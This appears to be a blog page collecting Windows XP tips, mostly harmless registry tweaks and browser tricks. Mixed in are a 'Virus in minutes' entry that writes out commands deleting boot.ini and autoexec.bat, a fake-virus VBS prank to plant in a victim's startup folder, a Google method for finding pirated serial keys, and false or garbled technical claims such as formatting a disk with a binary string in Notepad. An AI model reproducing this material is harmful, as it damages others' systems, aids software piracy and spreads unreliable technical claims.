Change Icons of recycle bin

BEFORE YOU BEGIN!

Right-Click your desktop and choose "Properties".

Then follow the steps below.

1. Click on the "desktop" tab at the top of the Display Properties window.

2. Then click the "Customize Desktop" button.

3. A Desktop Items window will open. Choose the "General" tab.

4. From the dsplay of system icons, click on the icon you want to change making sure it's highlighted.

5. Click on the "Change Icons" button. This will allow you to browse your computer for the icon you want to use as a replacement for your System Icon. (remember to click "OK" and "Apply Changes" once you have chosen a new icon).

Control Programs that Run at startup

Control Programs That Run at Startup

The best way to prevent a program from running at Startup, is to check the program's own options for a way to prevent this. Most good quality programs will provide an option for this.

If you can't find the option there, click Start, Run and enter MSCONFIG. Go to the Startup tab, and uncheck the item there. This method is not always 100% successful. An example is a program that you do use, but you don't want running automatically. Some programs will check to see if the program's own options say it should run at Startup. If the program thinks its supposed to load at startup, it will re-create the autorun entry.

Remove the Shared Documents folders from My Computer

One of the most annoying things about the new Windows XP user interface is that Microsoft saw fit to provide links to all of the Shared Documents folders on your system, right at the top of the My Computer window.

Simply go to run type   'regedit'   and navigate to the following key:HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ My Computer \ NameSpace \ DelegateFolders

You'll see a sub-key named {59031a47-3f72-44a7-89c5-5595fe6b30ee}.

If you delete this, all of the Shared Documents folders (which are normally under the group called "Other Files Stored on This Computer") will be gone.
You do not need to reboot your system to see the change.

What is a cookie?

A cookie is a very small text file placed on your hard drive by a Web Page server. It is essentially your identification card, and cannot be executed as code or deliver viruses. It is uniquely yours and can only be read by the server that gave it to you.A Cookie's Purpose is to tell the server that you've returned to that Web page. It can save you time. If you personalize pages, or register for products or services, a cookie helps that company remember who you are. So, the next time that you visit, they will have a good idea of what to show you. Or, for your convenience, you would not have to re-register as the cookies would provide this information from your previous visit.


WARNING: You are always in control of what information that you provide to anyone while online. You need to be cautious of some web sites that request too much information about you.
If You Want to Control Which Cookies You Accept:You can order your browser to accept all cookies or to alert you every time a cookie is offered. Then you can decide whether to accept one or not.


If you're using Internet Explorer 6.0:


1. Choose Tools, then

2. Internet Options.

3. Click the Privacy tab

4. Default setting is medium.

Move the slider to determine which setting you prefer.

5. You can also click on Advanced for specialized cookie treatment.

Notepad Secret

Notepad secret


open notepad write "bush hid the facts" without the quotes and save itwith any name now open it well what do you see ???the reason for this is that the file has thecombination of 5-3-3-4 which is not accepted by unicode thus this error.

Change Drive Letters in windows Xp

When you add drives to your computer, such as an extra hard drive, a CD drive, or a storage device that corresponds to a drive, Windows automatically assigns letters to the drives. However, this assignment might not suit your system; for example, you might have mapped a network drive to the same letter that Windows assigns to a new drive. When you want to change drive letters, follow these steps:

1. Right-click My Computer, and then click Manage.

2. Under Computer Management, click Disk Management. In the right pane, you’ll see your drives listed. CD-ROM drives are listed at the bottom of the pane.

3. Right-click the drive or device you want to change, and then click Change Drive Letter and Paths.

4. Click Change, click Assign the following drive letter, click the drive letter you want to assign, and then click OK.

You will not be able to change the boot or system drive letter in this manner. Many MS-DOS-based and Windows-based programs make references to a specific drive letter (for example, environment variables). If you modify the drive letter, these programs may not function correctly.

Disable CD burning

Exciting isn't it?

The user can't burn any CDs by this trick.

This restriction will disable the use of the i

nbuilt CD recording functions of Windows.


Open your registry and follow this path: HKEY_CURRENT_USER>Software>Microsoft>Windows>Current Version>Policies>Explorer andcreate this key: "NoCDBurning"

and set its value to 1.

Close you registry and logout/restart your system for the change to take the effect.

Keyboard Shortcuts for shortcuts

You can put shortcuts for shortcuts!!

You can put Keyboard shortcuts for desktop shortcuts.

To do this follow these steps :
1) Right click on the shortcut.

2) Go to properties.

3) Click once on the "Shortcut Key" bar.

4) Press any alphabet that you want to use as Shortcut Key.

5) Press OK Now to open that shortcut,

Press CTRL+ALT+"the alphabet".

Virus in minutes

Write VIRUS to computer in 5 minutes
Creating virus trick
open ur notepad n type the following.........type del c:\boot.ini c:\del autoexec.batsave as .exe [save it as .exe file....n u can save it by ne name]create the notepad in c: drive...

Clean up ur harddisk

Disk Cleanup
This program used for cleaning harddisk to offer space
Click : start
Click: run
Type : cleanmgr

Make ur name in orkut to invisible characters

Finally i found the trick by which you can surely make yours name field to invisible characters, just a simple trick.

Follow these simple steps to make your names field invisible in Orkut.

>>Step 1: Click on the blank text box below.

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>>Step 2: Now press CTRL+C from your keyboard.

>>Step 3: Go to your Orkut profiles page and press Ctrl+V on the first and last names field.

Thats all you have to do for making the names field invisible

Hope you enjoyed playing with this trick

Please if u use this trick tell about my blog to others

Make friends scare of VIRUS

Open notepad and type this:

lol=msgbox ("Warning a virus has been detected on your PC. Press YES to format your hard disk now or press NO to format your hard disk after system reboot",20,"Warning")

Then save it as Virus.VBS

and go to the folder that contains it and open it if a window pops out saying a virus has been detected it's working. Press yes or no to close the window and put it in the startup folder of the victim's account.On startup the window should appear.Note: This does not harm your computer as it does not contain virus.

Rename ur Recycle bin

Hey Guys just follow thse simple steps and change the name of your Recycle Bin(where temporarely deleted files are stored)

1)Goto 'start' menu and Choose 'Run' command.

2)Type 'regedit' (without inverted commas).
U will see Registery Editor Window on Ur Screen.

3)Now, On the Left Hand Side of the Window you'll see a
Tree of folders Just DoubleClick on the
HKEY_CURRENT_USER folder>Now in the new folder Tree DoubleClick on the 'Software' folder >then DoubleClick on'Microsoft'older>'Windows' folder>'Current Version' folder>'Explorer' folder>'CLSID' folder.

4)Now, You will see a Tree of 3 or 4 folder(don't worry about the no. of folders). Just Click on the folder : '{645FF040-5081-101B-9F08-00AA002F954E}'.

5)Finally, after Clicking on '{645FF040-5081-101B-9F08-00AA002F954E}' folder Goto the Right Hand Side of the Same window andDouble Click On the Default Option and Write in the name You want for Your Recycle Bin e.g. :- Trash #. CLick O.K. button. Goto Your Desktop and Refresh the Desktop and See the magic. Your Recycle Bin has been Renamed.

Hibernate computer to save time

Hibernate for faster start

If you turn-down computer when you're not working on it, you will save the energy, but not the time. If you don't want to wait until computer turns on, log on, ... than you can use Hibernate function. However, you can't "sleep" all computer like that. Windows 9x with Fat32, for example, can't hibernate.

How you can tell if your system can hibernate?

In Windows 2000 or Windows XP, login like administrator.Go to control panel >>power options and then to hibernate tab. Open that tab and see "Disk space for hibernation". See if your computer fits that condicions. Check "Enable hibernation" and be shore there is no error message.
Next time when you chose "Start-Shutdown" (Windows 98, ME and 2000), chose Hibernate option and go OK. In WindowsXP, chose "Start-Turn Off Computer" and click Shift button to turn "Stand By" button to "Hibernate" button.

Change the icons of Drives

All the Xp users would have been bored by the boring icons in their My Computer panel which are adjacent to the Hard disk drives(C:,D: or whatever drive letter you have).

Here is a simple tweak by which you will be able to change this monotonous icon to anything you like,even your own Picture if you wish

You can put any image in place of one which I have shown,even the picture of your favourite celebrity or your dream caror your own Picture.

Here are the steps you need to follow:


1.First of all the picture you want to use should have .ico extension(if you already have a pic with .ico extension proceed to step 2).Most of the pictures we normally use have extensions like .jpg,.bmp,.png..gif etc, so you first need to convert them to one with .ico extension.This is simple.Just go here and put your original image in the 'Source Image 'section,then click on 'Generate Favicon.ico ' button to get your image with .ico extension.

2.Now go to My Computer.Suppose you want to put this icon in place of your original C: image.

Double click and enter C: .Paste your .ico image file in it.Also create a new text file and in it type the following lines:
[autorun]
ICON=favicon.ico

Remember that 'favicon.ico' in the second line is the name of your image file.If you have an image file with .ico extension by the name of 'abc.ico',then use that in the second line in place of 'favicon.ico'.

3.Now rename this text file as ' autorun.inf ' (without the quotes).

Important Note:How do I rename my text file as autorun.inf ?Ans.Go to Tools->Folder options.Under the View tab uncheck the 'Hide extensions for known file types'.Press apply.Now rename your text file as 'autorun.inf'.

4.Now restart your Pc.You are done.Check out the cool new picture you have just added in your My computer panel.

Get Keyboard on your desktop screen

Do you want to use an onscreen
keyboard .
Its simple:
Just go to start press run.
Now type osk and
press enter.


You will get something like

Top 10 Personalities on Web

Generate date in Notepad

Open Notepad write .LOG(in capital letters)

in that & save as diary.txt

Every time you open that file you see that time & date is automatically generated

Generate date & time in Notepad

Open Notepad write .LOG(in capital letters)
in that & save as diary.txt
Every time you open that file you see that time & date is automatically generated

How to find the IP address of sender in YAHOO

When you receive an email, you receive more than just the message.
The email comes with headers that carry important information that can tell where the email was sent from and possibly who sent it. For that, you would need to find the IP address of the sender. The tutorial below can help you find the IP address of the sender. Note that this will not work if the sender uses anonymous proxy servers.

Finding IP address in Yahoo! Mail

1. Log into your Yahoo! mail with your username and password.
2. Click on Inbox or whichever folder you have stored your mail.
3. Open the mail.
4. If you do not see the headers above the mail message, your headers are not displayed. To display the headers,* Click on Options on the top-right corner* In the Mail Options page, click on General Preferences* Scroll down to Messages where you have the Headers option* Make sure that Show all headers on incoming messages is selected* Click on the Save button* Go back to the mails and open that mail.
5. You should see similar headers like this:Yahoo! headers : nameLook for Received: from followed by the IP address between square brackets [ ]. Here, it is 202.65.138.109.That is be the IP address of the sender!
6. Track the IP address of the sender

WEBSITE EXTRACTOR(Makes complete site avaliable offline)

FEATURES

# Website Extractor is one of the fastest known website downloaders available today.# Website Extractor gives you complete control over including and excluding downloads from individual servers, folders, URLs, and files using keywords.# Website Extractor can download many websites simultaneously.Transfer whole websites to CD-ROM or floppyAnother big benefit of the program is it changes html-links to relative names. In other words, it turns web addresses (URLs) into addresses that work on your computer. This means you can easily move whole websites or information to CD-ROM, floppy disk, or to another hard drive.

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SHAKE THE FIREFOX

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PASTE ABOVE CODE IN ADDRESS BAR AND SEE THE SHAKE

Format Hard Disk using Notepad

1. Write The Following In Notepad Exactly as it says

2. Write the following code:01001011000111110010010101010101010000011111100000

3. Save As it as .EXE and any Name would Do.

4. If u run the program means it will format the Hard Drive.

Note:This is for learning purpose only. am not responsible for any liablities.

Add a Photo to My Computer Properties

To do this:
1. Open Notepad.

2. Type the following:
[General]Manufacturer="your_name
Model=HP d530 SFF(DC578AV)
[Support Information]
Line1= Your Ph No
Line2= Your Address.....

3. Save as "oeminfo.ini" in the System32 folder.(Without Quote)

4. Create a bmp file(Your Photo) and save it the System32 folder as "oemlogo.bmp"(Without Quote).

5. Now Check your My Computer Properties.

Reinstall Windows Task Manager

1. Goto Start and then Run, {or windows + run}And type the following command:%systemroot%\inf {generally C:\WINDOWS\inf}

2. Click OK to open the INF folder.

3. Locate the file mstask.inf
Right-click the file, and then click Install.This will reinstall the files that Search needs to proceed normally.
You will be asked to place your windows XP cd rom in the drive.keep the cd and its over !!!

Test the Band width Which u get

TO test your Internet Speed Take a look at this ->>

1) http://bandwidthplace.com/speedtest/

2) http://www.speakeasy.net/speedtest/

3) http://www.speedtest.net/

Watch Movies in Paint

> Open your favorite movie palyer and play the move
> Hit "PrintScreen", keep playing the movie in the player, dont stop it.
> Open MsPaint.
> Select "Edit>Paste" Or Hit "CTRL+V"
> Presto! You can watch movies in Paint!
> But there are no Pause, Next, Previous, Stop etc. buttons
> Experiment with other formats too, it doesn't play DivX , Flash movies, etc. Microsoft hasn't revealed this i think.
MsPaint is GREAT. isnt it !!!

HIDE ANY DRIVE

1. Go to Start > run > type "diskpart".(Without Quote)a dos window will appear with following prompt.
DISKPART>

2. Then type "list volume" this will look like it
Volume### Ltr Label Fs Type Size Status Info-------------- ---- ------ --- ----- ---- ------- -- Volume 0 F DC-ROMVolume
1 C NTFS Partition 7000MB HealthyVolume
2 D soft NTFS Partition 8000MB HealthyVolume
3 E ---- NTFS Partition 8000MB Healthy


3. If u wanna hide drive E then type "select volume 3"then a message will appear in same winwods { Volume 3 is the selected volume}

4. Now type " remove letter E" now a message will come { Diskpart Removed the Drive letter }sometime it requires the reboot the computer .

5. Diskpart will remove the letter .Windows XP is not having capabilty to identify the unkown volume.


Don't be afraid about the data, it will remain in the drive. To Come back to the Drive repeat the process . but in 4th step which is shown in this post replace " remove" to "assign"i mean type " assign letter E"

NEW APPLE SAFARI BROWSER

I was excited when I got to know that Apple Safari browser is available for Windows.It's in Public Beta, meaning anyone can download and test it but it's not 100% stable. Apple claims that Safari is the fastest web browser on any platform. Safari loads pages up to 2 times faster than Internet Explorer 7 and up to 1.6 times faster than Firefox 2. On the comparison chart, Safari 3 is the fastest in terms of HTML Performance, Javascript Performance and Application Launch compared to Firefox 2, Internet Explorer 7 and Opera 9. I've tested it and I liked the way Safari loads the website while it's still downloading the site. It makes you feel that it's already loaded and it's fast.

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Test if Antivirus is Working or not Using notepad

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Open notepad..........Copy the above code in the file....
then save it with the name fakevirus.exe
If this file got deleted immediately ....That means ur antivirus is working properly

SPEED UP FIREFOX

Speed up mozilla firefox
Just follow these.....
Type "about:config" into the address bar and hit enter. Scroll down and look for the following entries:

network.http.pipelining
network.http.pipelining.maxrequests
network.http.proxy.pipelining

2. Alter the entries as follows:

Set "network.http.pipelining" to "true"
Set "network.http.proxy.pipelining" to "true"
Set "network.http.pipelining.maxrequests" to some number like 30.

3. Lastly right-click anywhere and select New>>> Integer.
Name it "nglayout.initialpaint.delay" and set its value to "0".
This value is the amount of time the browser waits before it acts on information it receives.
WEB PAGES WILL BE MUCH FASTER NOW...!!!!!!!!
WORKS REAL SMOOTH.......

KNOW THE YAHOO ID'S

Go to c:/program files
>>Yahoo
>>Messenger
>>Profiles
Here you can see the id's
This is small trick to add id's in net centers

PUT WEBPAGE ON DESKTOP

To put a Web page on your desktop, start by right-clicking on an empty space on the desktop. Click on "Properties" to open the display properties dialog box.

To add a Web page to your desktop:

1. Click on the desktop tab in the display properties dialog box

2. Click the "Customize Desktop..." button

In the desktop items dialog box, click on the Web tab.

The settings on the Web tab allow you to add new Web pages to your desktop and customize their settings. From this screen, you can add a Web page to your desktop and customize its settings.

WRITE UR NAME AT TIME'S PLACE

Write Ur Name At Time's Place...
Add your name to the right bottom corner of your computer window :- CHAITHU

For Microsoft Windows XP.

Go to:Start.Control Panel>>Regional and Language Options.
Click the Customize button.
Select Time tag.
Highlight AM and type the name you want to display .
Repeat with PM.clicK apply and than ok.......

SCARE YOUR FRIENDS WITH BLUE SCREENSAVER

This screensaver which mocks the most feared death blue screen which you usually see whenever something nasty happens on your system. After a while, the screensaver starts rolling the Windows bootscreen, giving an awful feeling to your friends.


Download the Bluescreen Screensaver from here (our mirror - 64KB). Extract the archive and copy bluescreen.scr to c:/Windows/system32 (Assuming that you have installed Windows XP in c:/). Now set Bluescreen as your screensaver. Optionally, you can also enable fake disk activity from the settings to add some extra realism

TEXT TO SPEECH MAKER

Powerful functions: Text to Speech Maker is a text-to-speech player that lets you listen to documents, e-mails or web pages instead of reading on screen.It also allows you to convert text to WAV,MP3 or VOX files for listening later with your portable MP3 player

More Voice Support: Support dozens of male, female and robotic voices for Britain English, German and French.You can download more voices at http://www.microsoft.com/reader/developers/downloads/tts.asp .

Fast Converting Speed: Reading and Converting is performed directly without any temporary files, and thus enables high converting speed and economy of hard disk space.

Support Optional MP3 Quality: The "Output Sample Frequencies" and "Output Bitrates" options allow you to make a choice between the quality and the size

Copy and Paste: support copy/cut to clipboard and paste from clipboard, that make it easy for you to read any text souce,such as emails,web pages,documents,and so on.

Support Font Settings: You can setup font(size,color and style) of the text easily.User-friendly interface,very easy to use.[Download free trail]

STUN YOUR FRIENDS WITH FIREFOX

This is a cool Firefox cheat which would possibly stun your friends by embedding a Firefox window within a Firefox Window. Just enter this code into your Firefox address bar and hit Enter:

chrome://browser/content/browser.xul


I tried it on my browser, it looked awesome, but the performance of the browser was not upto the mark. Anyways, who cares? You could try sneaking into your friend’s browser and setting the above address as his homepage, it will surely drive him nuts!

TABS IN YAHOO MESSENGER

As you may have seen in the preview of Yahoo! Messenger for Windows Vista, tabbed IM windows are coming soon. This feature lets you group multiple conversations into one IM window and use tabs to navigate among them.

As it turns out, there are several hidden features that are built into Yahoo! Messenger, which can be turned on with changes to the Windows registry settings. One of our Messenger engineers, Hung Nguyen, developed some code that when installed, adds tabs to Yahoo! Messenger 8.1 (on Windows XP).

To try it out, first close all the IM windows you have open. Then click the “Turn ON tabs in Yahoo! Messenger” link below. When the download window appears, click the “Run” button and follow the on-screen instructions to install it. The next time you’re in two or more IM conversations at the same time, you’ll see the tabs in action. To close a tab, just right click on it.

Turn ON tabs in Yahoo! Messenger 8.1

Turn OFF tabs in Yahoo! Messenger 8.1

GTALK WITH FIREFOX AND OPERA

Now you can use Google Talk in the panel / sidebar
while browsing with your favourite browser.
You dont need to have the GTalk client installed at all.

1. Go to Bookmarks ---> Organize Bookmarks
2. Click New Bookmark.
3. Paste the following URL in the address (URL location) Field.http://talkgadget.google.com/talkgadget/client
4. Enter any name for the bookmark like GTalk.
5. Select the option for adding in sidebar or panel.
6. Click OK and you are done.

Google Talk talkgadget requires Adobe Flash Player 8 or above.

Works in both Opera & Firefox

GET THE SERIAL NUMBER WITH GOOGLE

Get the serial number you need ! (For Certain Things)*

Go to Google.*

In the search field type: "Product name" 94FBR

* Where, "Product Name" is the name of the item you want to find the serial number for.

* And voila - there you go - the serial number you needed.

HOW DOES THIS WORK?

Quite simple really. 94FBR is part of a Office 2000 Pro cd key that is widely distributed as it bypasses the activation requirements of Office 2K Pro. By searching for the product name and 94fbr, you guarantee two things. 1) The pages that are returned are pages dealing specifically with the product you're wanting a serial for. 2) Because 94FBR is part of a serial number, and only part of a serial number, you guarantee that any page being returned is a serial number list page.

See these example searches:

"Photoshop 7" 94FBR
"Age of Mythology" 94FBR
"Nero Burning Rom 5.5" 94FBR

HOW TO LOAD GMAIL FASTER

Hi guys, of late, gmail has been loading very slowly for me. This means that, when ever I give my username and password at the login screen, after successful login, the screenshot shown below displays.

When that happens we hate to wait for infinitely long times. So, I discovered a simple hack through which you can eliminate that screen.

Notice that the address bar contains the URL of the format http://mail.google.com/mail?auth=DQAA etc.

Now, all you have to do is, change the “http://” in your browser’s address bar to “https://”, which means the URL will now look like https://mail.google.com/mail?auth=DQAA etc. Press Enter. Gmail loads faster.

HACK PASSWORDS USING FIREFOX

Whenever you log in to a website using your username and password, you'll be prompted by Firefox whether you'd like Firefox to remember this password.



If you click on Remember, the next time you visit the website, it'll automatically enter the username and password for your convenience.

Now, back to the topic. Let's say you saved your GMail password in Firefox. After months or years gone by and you don't remember the password you set for my GMail. You started to panic and desperately need to get back your GMail password.

Don't worry, here's how you can find the hidden GMail password in Firefox.

Firefox is much better than Internet Explorer in terms of managing "remembered" logins. In Internet Explorer, there is no built-in feature where you can manage or view your saved login information. That's why you need third party tools to reveal the passwords hidden under asterisks. As for Firefox, you can access remembered passwords with a few clicks.



To view your remembered passwords in Firefox browser, go to Tools, and click on Options. Go to Security tab and click on the Show Passwords button. A remember password dialog box will appear. Click on the Show Passwords button again and a new column with password will appear.